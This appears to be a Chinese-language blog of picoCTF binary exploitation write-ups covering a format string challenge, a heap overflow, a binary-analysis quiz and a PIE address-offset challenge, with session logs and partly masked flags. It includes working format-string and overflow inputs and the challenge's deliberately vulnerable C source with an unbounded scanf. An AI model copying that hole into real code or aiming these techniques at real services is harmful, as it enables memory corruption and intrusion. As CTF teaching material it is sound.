Binary Exploitation on picoCTF Writeup

format string 0

Mon, 04 May 2026 02:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/433

題目解法

這題題目是有關於格式化字串攻擊 (Format String Attack)，要從選項中選出潛在風險的字串。
第一題的三個字串中，Gr%114d_Cheese 包含 %ll。

"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"

第二題的三個字串中，Cla%sic_Che%s%steak 包含 %s。

Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak

webshell:~$ nc mimas.picoctf.net 49550
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3---------------------------------405}

heap 0

Mon, 04 May 2026 02:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/438

題目解法

分析原始碼可以在第 16 行看到當 safe_var 不等於 "bico" 時就能順利印出 flag。按下 1. Print Heap 會印出 Heap Data 的位址。
使用 2. Write to buffer 可以將資料寫入上面的位址 (0x5aec6d8702b0)，上面與下面的位址相差 0x20，只要輸入的內容長度超過 32 位元就會造成 buffer overflow，會覆蓋掉 bico，之後使用 4. Print Flag 就會順利印出 flag 了。

webshell:~$ nc tethys.picoctf.net 50333
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> pico
+-------------+----------------+
[*] 0x6242e49372d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> pico
+-------------+----------------+
[*] 0x6242e49372d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 00000000000000000000000000000000overflow
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> 00000000000000000000000000000000overflow
+-------------+----------------+
[*] 0x6242e49372d0 -> overflow
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = overflow
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_-------------------------1a6}

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
 if (strcmp(safe_var, "bico") != 0) {
 printf("\nYOU WIN\n");

 // Print flag
 char buf[FLAGSIZE_MAX];
 FILE *fd = fopen("flag.txt", "r");
 fgets(buf, FLAGSIZE_MAX, fd);
 printf("%s\n", buf);
 fflush(stdout);

 exit(0);
 } else {
 printf("Looks like everything is still secure!\n");
 printf("\nNo flage for you :(\n");
 fflush(stdout);
 }
}

void print_menu() {
 printf("\n1. Print Heap:\t\t(print the current state of the heap)"
 "\n2. Write to buffer:\t(write to your own personal block of data "
 "on the heap)"
 "\n3. Print safe_var:\t(I'll even let you look at my variable on "
 "the heap, "
 "I'm confident it can't be modified)"
 "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
 "\n5. Exit\n\nEnter your choice: ");
 fflush(stdout);
}

void init() {
 printf("\nWelcome to heap0!\n");
 printf(
 "I put my data on the heap so it should be safe from any tampering.\n");
 printf("Since my data isn't on the stack I'll even let you write whatever "
 "info you want to the heap, I already took care of using malloc for "
 "you.\n\n");
 fflush(stdout);
 input_data = malloc(INPUT_DATA_SIZE);
 strncpy(input_data, "pico", INPUT_DATA_SIZE);
 safe_var = malloc(SAFE_VAR_SIZE);
 strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
 printf("Data for buffer: ");
 fflush(stdout);
 scanf("%s", input_data);
}

void print_heap() {
 printf("Heap State:\n");
 printf("+-------------+----------------+\n");
 printf("[*] Address -> Heap Data \n");
 printf("+-------------+----------------+\n");
 printf("[*] %p -> %s\n", input_data, input_data);
 printf("+-------------+----------------+\n");
 printf("[*] %p -> %s\n", safe_var, safe_var);
 printf("+-------------+----------------+\n");
 fflush(stdout);
}

int main(void) {

 // Setup
 init();
 print_heap();

 int choice;

 while (1) {
 print_menu();
 int rval = scanf("%d", &choice);
 if (rval == EOF){
 exit(0);
 }
 if (rval != 1) {
 //printf("Invalid input. Please enter a valid choice.\n");
 //fflush(stdout);
 // Clear input buffer
 //while (getchar() != '\n');
 //continue;
 exit(0);
 }

 switch (choice) {
 case 1:
 // print heap
 print_heap();
 break;
 case 2:
 write_buffer();
 break;
 case 3:
 // print safe_var
 printf("\n\nTake a look at my variable: safe_var = %s\n\n",
 safe_var);
 fflush(stdout);
 break;
 case 4:
 // Check for win condition
 check_win();
 break;
 case 5:
 // exit
 return 0;
 default:
 printf("Invalid choice\n");
 fflush(stdout);
 }
 }
}

Quizploit

Mon, 04 May 2026 00:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/727

題目解法

使用 nc 連線後開始回答問題。

第 1 - 3 題：使用 file 指令查看執行檔詳細資料

webshell:~$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=19251d430d5dd4b44a3e8489a8c76f1894676f7d, for GNU/Linux 3.2.0, not stripped

[*] Question number 0x1:
Is this a '32-bit' or '64-bit' ELF? (e.g. 100-bit)
💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.
>> 64-bit

[*] Question number 0x2:
What's the linking of the binary? (e.g. static, dynamic)
💡 Hint: The program uses standard library functions like fprintf, fgets, and system.
>> dynamic

[*] Question number 0x3:
Is the binary 'stripped' or 'not stripped'?
💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.
>> not stripped

第 4 - 10 題查看並分析原始碼

PIE TIME

Sat, 02 May 2026 21:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/490

題目解法

下載原始碼後可以知道有一個 win() 函式，下載執行檔後進行使用 objdump 進行反組譯。反組譯後可以找到 win 和 main 的位址。

objdump -d vuln

...
00000000000012a7 <win>:
12a7: f3 0f 1e fa endbr64
12ab: 55 push %rbp
12ac: 48 89 e5 mov %rsp,%rbp
12af: 48 83 ec 10 sub $0x10,%rsp
...
000000000000133d <main>:
133d: f3 0f 1e fa endbr64
1341: 55 push %rbp
1342: 48 89 e5 mov %rsp,%rbp
1345: 48 83 ec 20 sub $0x20,%rsp
1349: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
...

使用 nc 連線進去後會提供 main 的位址，可以反推出 win 的位址，輸入後即可得到 flag。